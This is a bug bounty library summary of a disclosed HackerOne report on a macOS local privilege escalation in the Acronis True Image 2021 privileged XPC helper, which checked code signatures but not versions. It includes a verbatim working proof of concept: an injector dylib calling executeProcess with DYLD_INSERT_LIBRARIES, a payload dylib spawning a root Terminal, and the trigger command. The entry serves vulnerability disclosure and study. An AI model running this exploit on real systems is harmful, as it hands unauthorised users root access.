# True Image 2021 - LPE via XPC service communication

Acronis privileged XPC helper validated only code signature, not version, so an old injectable True Image 2020 binary could invoke it to run processes as root.

- Payout: $250
- Severity: medium
- Program: Acronis
- Found by: theevilbit
- Disclosed: 2021-02-23
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/966494
- Library page: https://bugbountylibrary.com/r/h1%3A966494
- Tags: area:os domain:desktop impact:privesc kind:bounty platform:hackerone sev:medium technique:chained technique:incomplete-fix technique:legacy-endpoint vuln:auth-bypass vuln:privilege-escalation

**Target:** Acronis True Image 2021 privileged XPC helper (com.acronis.trueimagehelper) executeProcess
**Root cause:** The privileged helper verifies the client's code signature but not its bundle version, so a signed-but-older vulnerable Acronis binary passes the check and can be code-injected to call the helper.
**Steps:**
1. Place old vulnerable Acronis True Image 2020 app in `/Users/Shared/`; 2021 version in `/Applications/`.
2. Build injector dylib `acronis.dylib` that connects to Mach service `com.acronis.trueimagehelper` and calls `executeProcess:arguments:environment:caller:withReply:`.
3. Build payload dylib `env.dylib` whose constructor runs `system("/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal")`.
4. Run `DYLD_INSERT_LIBRARIES=acronis.dylib /Users/Shared/Acronis\ True\ Image.app/Contents/MacOS/Acronis\ True\ Image`.
5. Injector passes `proc=/Users/Shared/Acronis True Image.app/Contents/MacOS/backup_worker` with env `DYLD_INSERT_LIBRARIES=/Users/Shared/env.dylib`; helper verifies signature of old binary and executes it as root, loading env.dylib.
6. Root Terminal pops up.
**How found:** Follow-up to prior report #908152; noticed the earlier fix only checked code signature, not version, so the old injectable 2020 build still satisfied the helper's trust check.
**Exploitation:** Attacker with local access runs the old signed Acronis 2020 binary with DYLD_INSERT_LIBRARIES pointing to an injector dylib. The injector connects to the 2021 privileged XPC helper and calls executeProcess with a signed Acronis binary plus a DYLD_INSERT_LIBRARIES env var pointing to a payload dylib. The helper validates only the signature, executes the binary as root, and the payload dylib spawns a root Terminal.
**Escalation:** Chains an incomplete fix (signature-only validation) with a legacy signed binary and DYLD injection to reach root; notes possible TOCTOU race swapping binary between verification and execution.
**Insight:** When a privileged helper gates on code signature, check whether it also pins version/bundle identifier; a signed-but-older build of the same vendor app can be a valid confused deputy, and DYLD_INSERT_LIBRARIES via the helper's own env parameter is a direct injection primitive.

## Proof of concept (copied exactly from the original report)

**Injected dylib talking to XPC helper to execute process**

```
#import <Foundation/Foundation.h>

static NSString* XPCHelperMachServiceName = @"com.acronis.trueimagehelper";

@protocol HelperToolProtocol
- (void)checkFullDiskAccessWithReply:(void (^)(BOOL))arg1;
- (void)executeProcess:(NSString *)arg1 arguments:(NSArray *)arg2 environment:(NSDictionary *)arg3 caller:(int)arg4 withReply:(void (^)(int))arg5;
- (void)executeProcess:(NSString *)arg1 arguments:(NSArray *)arg2 caller:(int)arg3 withReply:(void (^)(int))arg4;
- (void)getProcessIdentifierWithReply:(void (^)(int))arg1;
@end

__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {

     
         NSString*  service_name = XPCHelperMachServiceName;

         NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];

         NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];

         [connection setRemoteObjectInterface:interface];

         [connection resume];

         id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
         {
             NSLog(@"[-] Something went wrong");
             NSLog(@"[-] Error: %@", error);
         }];

         NSLog(@"obj: %@", obj);
         NSLog(@"conn: %@", connection);

    NSString* proc = @"/Users/Shared/Acronis True Image.app/Contents/MacOS/backup_worker";
    NSArray* args = [NSArray arrayWithObjects:@"/Library/hello.txt", nil];
    NSDictionary* env = @{@"DYLD_INSERT_LIBRARIES":@"/Users/Shared/env.dylib"};

    [obj executeProcess:proc arguments:args environment:env caller:1 withReply:^(int i){
            NSLog(@"Response, %d", i);
                 }];
         NSLog(@"Done");
}
```

**Injected dylib spawning root Terminal**

```
#include <stdlib.h>

__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
	system("/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal");
}
```

**Command to trigger injection into old app**

```
DYLD_INSERT_LIBRARIES=acronis.dylib /Users/Shared/Acronis\ True\ Image.app/Contents/MacOS/Acronis\ True\ Image
```

